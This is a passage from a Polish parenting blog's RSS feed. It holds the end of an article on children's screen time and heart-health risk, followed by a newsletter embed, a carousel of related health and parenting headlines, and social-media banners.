779. <p>Horner zauważa, że przyszłe badania mogłyby przetestować, czy zmniejszenie ekspozycji na ekrany w godzinach przed snem – gdy światło z ekranu może zakłócać rytmy dobowe i opóźniać zasypianie – pomoże obniżyć ryzyko kardiometaboliczne.</p>
780.  
781.  
782.  
783. <blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
784. <p><a href="https://newsroom.heart.org/news/excessive-screen-time-among-youth-may-pose-heart-health-risks?preview=15d4663c194e3486f69221c134586e19">Więcej informacji</a></p>
785. </blockquote>
786.  
787.  
788. <div class="convertkit-form wp-block-convertkit-form" style=""><script async data-uid="67519e85f9" src="https://przystanekrodzinka.kit.com/67519e85f9/index.js" data-jetpack-boost="ignore" data-no-defer="1" nowprocket></script></div>
789.  
790.  
791. <div class="wp-block-uagb-post-carousel uagb-post-grid  uagb-post__image-position-top uagb-post__image-enabled uagb-block-related-posts     uagb-post__arrow-outside uagb-slick-carousel uagb-post__items uagb-post__columns-2 is-carousel uagb-post__columns-tablet-2 uagb-post__columns-mobile-1 uagb-post__carousel_equal-height" data-total="2" style="">
792.  
793. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
794. <a href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="513" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-768x513.jpg" class="attachment-medium_large size-medium_large" alt="orange and white medication pill" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-768x513.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-1024x684.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-1536x1025.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
795. </div>
796. <h4 class="uagb-post__title uagb-post__text">
797. <a href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer">ADHD u małych dzieci: większość dostaje leki za wcześnie</a>
798. </h4>
799. <div class='uagb-post__text uagb-post-grid-byline'>
800. </div>
801. <div class="uagb-post__text uagb-post__cta wp-block-button">
802. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
803. </div>
805. </article>
806. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
807. <a href="https://przystanekrodzinka.pl/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-768x432.jpeg" class="attachment-medium_large size-medium_large" alt="paracetamol w ciazy a ryzyko autyzmu adhd" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-768x432.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-300x169.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-1024x576.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-1536x864.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
808. </div>
809. <h4 class="uagb-post__title uagb-post__text">
810. <a href="https://przystanekrodzinka.pl/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd/" target="_self" rel="bookmark noopener noreferrer">Paracetamol w ciąży może zwiększać ryzyko autyzmu</a>
811. </h4>
812. <div class='uagb-post__text uagb-post-grid-byline'>
813. </div>
814. <div class="uagb-post__text uagb-post__cta wp-block-button">
815. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
816. </div>
818. </article>
819. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
820. <a href="https://przystanekrodzinka.pl/adhd-wzmacnia-kreatywnosc-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="Creative illustration highlighting ADHD awareness with colorful brain imagery." srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
821. </div>
822. <h4 class="uagb-post__title uagb-post__text">
823. <a href="https://przystanekrodzinka.pl/adhd-wzmacnia-kreatywnosc-badanie/" target="_self" rel="bookmark noopener noreferrer">ADHD wzmacnia kreatywność – odkrycie naukowców</a>
824. </h4>
825. <div class='uagb-post__text uagb-post-grid-byline'>
826. </div>
827. <div class="uagb-post__text uagb-post__cta wp-block-button">
828. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/adhd-wzmacnia-kreatywnosc-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
829. </div>
831. </article>
832. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
833. <a href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/" target="_self" rel="bookmark noopener noreferrer"><img fetchpriority="high" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="smoothie a wchłanianie składników odżywczych" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
834. </div>
835. <h4 class="uagb-post__title uagb-post__text">
836. <a href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/" target="_self" rel="bookmark noopener noreferrer">Banan w smoothie blokuje wchłanianie flawanoli o 84%</a>
837. </h4>
838. <div class='uagb-post__text uagb-post-grid-byline'>
839. </div>
840. <div class="uagb-post__text uagb-post__cta wp-block-button">
841. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
842. </div>
844. </article>
845. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
846. <a href="https://przystanekrodzinka.pl/iq-wplyw-slyszenie-halasie-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="467" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352-768x467.jpg" class="attachment-medium_large size-medium_large" alt="rozumienie mowy w hałasie" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352-768x467.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352-300x182.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352-1024x623.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352.jpg 1365w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
847. </div>
848. <h4 class="uagb-post__title uagb-post__text">
849. <a href="https://przystanekrodzinka.pl/iq-wplyw-slyszenie-halasie-badanie/" target="_self" rel="bookmark noopener noreferrer">IQ wpływa na słyszenie w hałasie – zaskakujące badanie</a>
850. </h4>
851. <div class='uagb-post__text uagb-post-grid-byline'>
852. </div>
853. <div class="uagb-post__text uagb-post__cta wp-block-button">
854. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/iq-wplyw-slyszenie-halasie-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
855. </div>
857. </article>
858. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
859. <a href="https://przystanekrodzinka.pl/szosty-zmysl-interocepcja-atlas-cialo-mozg/" target="_self" rel="bookmark noopener noreferrer"><img decoding="async" width="768" height="509" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/rmwtvqn5rzu-768x509.jpg" class="attachment-medium_large size-medium_large" alt="selective focus phot of artificial human skull" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/rmwtvqn5rzu-768x509.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/rmwtvqn5rzu-300x199.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/rmwtvqn5rzu-1024x678.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/rmwtvqn5rzu-1536x1018.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/rmwtvqn5rzu.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
860. </div>
861. <h4 class="uagb-post__title uagb-post__text">
862. <a href="https://przystanekrodzinka.pl/szosty-zmysl-interocepcja-atlas-cialo-mozg/" target="_self" rel="bookmark noopener noreferrer">Szósty zmysł: jak mózg kontroluje oddech i trawienie</a>
863. </h4>
864. <div class='uagb-post__text uagb-post-grid-byline'>
865. </div>
866. <div class="uagb-post__text uagb-post__cta wp-block-button">
867. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/szosty-zmysl-interocepcja-atlas-cialo-mozg/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
868. </div>
870. </article>
871. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
872. <a href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="576" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-768x576.jpeg" class="attachment-medium_large size-medium_large" alt="autyzm ewolucja ludzkiego mozgu badanie" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-768x576.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-300x225.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-1024x768.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-1536x1152.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
873. </div>
874. <h4 class="uagb-post__title uagb-post__text">
875. <a href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer">Autyzm ceną za ludzką inteligencję?</a>
876. </h4>
877. <div class='uagb-post__text uagb-post-grid-byline'>
878. </div>
879. <div class="uagb-post__text uagb-post__cta wp-block-button">
880. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
881. </div>
883. </article>
884. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
885. <a href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-768x512.jpg" class="attachment-medium_large size-medium_large" alt="Pregnant woman&#039;s belly illuminated by sunlight." srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
886. </div>
887. <h4 class="uagb-post__title uagb-post__text">
888. <a href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer">Nudności w ciąży chronią dziecko przed toksynami</a>
889. </h4>
890. <div class='uagb-post__text uagb-post-grid-byline'>
891. </div>
892. <div class="uagb-post__text uagb-post__cta wp-block-button">
893. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
894. </div>
896. </article>
897. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
898. <a href="https://przystanekrodzinka.pl/mozg-dziala-najlepiej-z-siedmioma-zmyslami-nie-piecioma/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="513" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323-768x513.jpg" class="attachment-medium_large size-medium_large" alt="person, human, child, girl, face, closed eyes, sense, feel, close up, sense, sense, sense, sense, sense, feel" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323-768x513.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323-1024x684.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323.jpg 1280w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
899. </div>
900. <h4 class="uagb-post__title uagb-post__text">
901. <a href="https://przystanekrodzinka.pl/mozg-dziala-najlepiej-z-siedmioma-zmyslami-nie-piecioma/" target="_self" rel="bookmark noopener noreferrer">Mózg działa najlepiej z siedmioma zmysłami, nie pięcioma</a>
902. </h4>
903. <div class='uagb-post__text uagb-post-grid-byline'>
904. </div>
905. <div class="uagb-post__text uagb-post__cta wp-block-button">
906. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/mozg-dziala-najlepiej-z-siedmioma-zmyslami-nie-piecioma/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
907. </div>
909. </article>
910. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
911. <a href="https://przystanekrodzinka.pl/mutacja-genu-cpd-gluchota-dzieci-leczenie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-768x512.jpg" class="attachment-medium_large size-medium_large" alt="a baby is being held by a woman" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
912. </div>
913. <h4 class="uagb-post__title uagb-post__text">
914. <a href="https://przystanekrodzinka.pl/mutacja-genu-cpd-gluchota-dzieci-leczenie/" target="_self" rel="bookmark noopener noreferrer">Ukryta mutacja genu CPD wywołuje głuchotę – jest nadzieja</a>
915. </h4>
916. <div class='uagb-post__text uagb-post-grid-byline'>
917. </div>
918. <div class="uagb-post__text uagb-post__cta wp-block-button">
919. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/mutacja-genu-cpd-gluchota-dzieci-leczenie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
920. </div>
922. </article>
923. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
924. <a href="https://przystanekrodzinka.pl/czas-przed-ekranem-ryzyko-serca-dzieci/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/r7abdi5ohta-768x432.jpg" class="attachment-medium_large size-medium_large" alt="czas przed ekranem a zdrowie serca dzieci" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/r7abdi5ohta-768x432.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/r7abdi5ohta-300x169.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/r7abdi5ohta-1024x576.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/r7abdi5ohta-1536x864.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/r7abdi5ohta.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
925. </div>
926. <h4 class="uagb-post__title uagb-post__text">
927. <a href="https://przystanekrodzinka.pl/czas-przed-ekranem-ryzyko-serca-dzieci/" target="_self" rel="bookmark noopener noreferrer">Ekrany zagrażają sercu dzieci – odkrycia naukowców</a>
928. </h4>
929. <div class='uagb-post__text uagb-post-grid-byline'>
930. </div>
931. <div class="uagb-post__text uagb-post__cta wp-block-button">
932. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/czas-przed-ekranem-ryzyko-serca-dzieci/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
933. </div>
935. </article>
936. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
937. <a href="https://przystanekrodzinka.pl/dieta-tluszcze-nasycone-pamiec-dziecko-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-768x512.jpg" class="attachment-medium_large size-medium_large" alt="burger with lettuce and fries on brown wooden table" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
938. </div>
939. <h4 class="uagb-post__title uagb-post__text">
940. <a href="https://przystanekrodzinka.pl/dieta-tluszcze-nasycone-pamiec-dziecko-badanie/" target="_self" rel="bookmark noopener noreferrer">Fast food zaburza pamięć już po 4 dniach</a>
941. </h4>
942. <div class='uagb-post__text uagb-post-grid-byline'>
943. </div>
944. <div class="uagb-post__text uagb-post__cta wp-block-button">
945. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/dieta-tluszcze-nasycone-pamiec-dziecko-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
946. </div>
948. </article>
949. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
950. <a href="https://przystanekrodzinka.pl/zywy-slimak-poza-cialem-mechanizmy-sluchu/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-768x432.webp" class="attachment-medium_large size-medium_large" alt="zywy slimak poza cialem mechanizmy sluchu" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-768x432.webp 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-300x169.webp 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-1024x576.webp 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-1536x864.webp 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu.webp 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
951. </div>
952. <h4 class="uagb-post__title uagb-post__text">
953. <a href="https://przystanekrodzinka.pl/zywy-slimak-poza-cialem-mechanizmy-sluchu/" target="_self" rel="bookmark noopener noreferrer">Żywy ślimak poza ciałem pokazuje, jak działa słuch</a>
954. </h4>
955. <div class='uagb-post__text uagb-post-grid-byline'>
956. </div>
957. <div class="uagb-post__text uagb-post__cta wp-block-button">
958. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/zywy-slimak-poza-cialem-mechanizmy-sluchu/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
959. </div>
961. </article>
962. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
963. <a href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-768x512.jpg" class="attachment-medium_large size-medium_large" alt="a person lying on a bed with a tablet" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
964. </div>
965. <h4 class="uagb-post__title uagb-post__text">
966. <a href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer">Smartfon przed 13. rokiem życia a zdrowie psychiczne</a>
967. </h4>
968. <div class='uagb-post__text uagb-post-grid-byline'>
969. </div>
970. <div class="uagb-post__text uagb-post__cta wp-block-button">
971. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
972. </div>
974. </article>
975. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
976. <a href="https://przystanekrodzinka.pl/psy-potrafia-kategoryzowac-przedmioty-jak-male-dzieci/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="psy kategoryzuja przedmioty funkcja jak dzieci" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
977. </div>
978. <h4 class="uagb-post__title uagb-post__text">
979. <a href="https://przystanekrodzinka.pl/psy-potrafia-kategoryzowac-przedmioty-jak-male-dzieci/" target="_self" rel="bookmark noopener noreferrer">Psy potrafią kategoryzować przedmioty jak małe dzieci</a>
980. </h4>
981. <div class='uagb-post__text uagb-post-grid-byline'>
982. </div>
983. <div class="uagb-post__text uagb-post__cta wp-block-button">
984. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/psy-potrafia-kategoryzowac-przedmioty-jak-male-dzieci/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
985. </div>
987. </article>
988. </div>
990.  
991.  
992. <figure class="wp-block-image aligncenter size-large"><a href="https://przystanekrodzinka.pl/dziecieca-ciekawosc/"><img loading="lazy" decoding="async" width="1024" height="499" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg" alt="Dziecieca ciekawosc blok 1" class="wp-image-74388" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-300x146.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-768x374.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1536x749.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2.jpg 1680w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
993.  
994.  
995.  
996. <figure class="wp-block-image aligncenter size-large"><a href="https://www.instagram.com/przystanekrodzinka/"><img loading="lazy" decoding="async" width="1024" height="409" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg" alt="obserwuj przystanek rodzinka instagram 2" class="wp-image-74387" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-300x120.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-768x307.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1536x613.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
997.  
998.  
999.  
1000. <figure class="wp-block-image aligncenter size-large"><a href="https://www.facebook.com/przystanekrodzinka/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="1024" height="449" src="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg" alt="polub przystanek rodzinka facebook" class="wp-image-21763" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-300x132.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-768x337.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1536x674.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
1001. <p>Artykuł <a href="https://przystanekrodzinka.pl/czas-przed-ekranem-ryzyko-serca-dzieci/">Ekrany zagrażają sercu dzieci – odkrycia naukowców</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
1002. ]]></content:encoded>
1006. </item>
1007. <item>
1008. <title>Jak zorganizować wieczór z grami planszowymi – klimat, przekąski i dobra zabawa</title>
